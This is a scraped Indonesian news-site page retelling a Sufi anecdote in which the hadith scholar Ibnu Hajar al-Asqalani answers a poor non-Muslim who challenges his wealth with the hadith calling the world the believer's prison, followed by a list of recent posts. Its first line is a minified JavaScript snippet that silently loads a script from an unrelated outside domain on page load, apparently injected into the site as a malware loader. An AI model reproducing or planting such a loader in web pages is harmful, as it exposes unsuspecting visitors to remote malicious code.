(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kisah Sufi

Saat Ibnu Hajar al-Asqalani Digugat karena Kekayaannya


Ibnu Hajar al-Asqalani adalah ulama kenamaan pada masanya. Ibnu hajar al-Asqalani termasuk salah satu ulama yang mendapat sebutan “al-Hafidh”, sebuah gelar yang diberikan kepada ulama ahli hadits, dengan syarat mampu menghafal 100 ribu hadits lebih, lengkap dengan rawi, matan, asbabul wurud, serta rijalul haditsnya.

Tidak hanya itu, Ibnu Hajar al-Asqalani yang ahli hadits ini juga kaya raya. Pada masa itu, ketika akan berkunjung ke suatu daerah, ia menunggang kuda yang paling gagah. Di punggung kudanya terdapat kain lembut menyelimutinya. Sungguh, kuda itu layaknya mobil super mewah di masa kini.

Hingga suatu ketika di tengah jalan. Ada seorang non-Muslim nan fakir miskin memandang sinis al-Asqalani yang sedang  lewat dengan kuda gagahnya. Tiba-tiba ia berujar dengan suara meninggi,

“Wahai kisanak, sesungguhnya siapakah yang bergelar pembohong, engkau atau Nabimu?”

Tiba-tiba saja orang itu melontarkan pertanyaan nyinyir nan  menyakitkan hati. Padahal, Ibnu Hajar merasa pernah melukai si non-Muslim. Lantas, gerangan apakah yang membuatnya seperti banteng yang lepas dari kendali, menyeruduk penuh emosi?

“Apa maksudmu?” al-Asqalani menimpali keheranan.

“Ya, bukankah nabimu pernah bilang bahwa dunia itu adalah penjara bagi orang yang mengimaninya dan menjadi surga bagi orang yang ingkar terhadapnya,” non-Muslim pun mengutarakan argumentasinya.

Oh ternyata, ia menggugat salah satu hadits Nabi yang berbunyi:

  عَنْ أَبِي هُرَيْرَةَ  قَالَ: قَالَ رَسُولُ اللهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ : الدُّنْيَا سِجْنُ الْمُؤْمِنِ وَجَنَّةُ الْكَافِرِ. رواه مسلم.

Dari Abu Hurairah  radliallahu ‘anhu  ia berkata, Rasulullah sallallahu ‘alaihi wasallam bersabda, “Dunia adalah penjara orang yang beriman, dan surganya orang kafir” (HR Muslim).

Seketika, Ibnu Hajar al-Asqalani terkekeh sambil menjawab,

“Kau memandang kehidupanku begitu indahnya. Memilki harta melimpah nan kaya raya, tungganganku kuda tergagah seantero kota, tak hanya itu, aku pun Muslim pula. Sungguh kenikmatan yang tiada bandingannya.”

“Sedang engkau, kau tak beriman pada nabiku. Hidupmu pun serba kurang tak menentu. Sungguh, mungkin bagimu, hal itu sudah cukup pilu.”

“Lantas, adakah yang keliru dengan sabda nabiku?”

“Ketahuilah, kehidupanku yang engkau lihat senyaman ini, sungguh jika dibanding dengan nikmat surga nanti, adalah layaknya penjara dunia yang disabdakan nabi. Sedang hidupmu yang sudah kau rasa pilu di dunia ini sudah merupakan gambaran surgamu di akhirat nanti. Tidak merasakan panasnya api neraka di dunia ini, sudah merupakan bentuk nikmat surga dunia bagi engkau di kemudian hari nanti,” terang al-Asqalani sambil berlalu, meninggalkan non-Muslim yang masih saja menggerutu.

Pernyataan Ibnu Hajar al-Asqalani tersebut seolah hendak menjelaskan bahwa tak ada larangan menjadi kaya dalam Islam. Hadits “dunia itu penjara orang mukmin” hanyalah gambaran minimal tentang kenikmatan yang bakal diterima kelak. Status mukmin dan kaya adalah dua hal yang berbeda meskipun keduanya bisa saling mempengaruhi. Bagi orang alim yang zuhud seperti Ibnu Hajar al-Asqalani, kekayaan harta tak lebih dari sekadar alat: tempatnya hanya di genggaman tangan, tak sampai menghujam ke dalam hati.  (ulin nuha karim/nuonline)

Dikisahkan oleh KH. Arifin Fanani, Pengasuh Ponpes. Ma’had Ulumis Syari’ah Yambu’ul Quran (MUS-YQ) Kudus dalam tausiahnya pada momen Reuni Alumni Angkatan Tahun 2007 di Brabo, Tanggungharjo, Grobogan, Jawa Tengah.

Reporter : ulin nuha karim/nuonline
Editor : kk

 


Al Ghifari

Recent Posts

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

2 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

3 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

5 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

9 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

18 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

18 jam ago

This website uses cookies.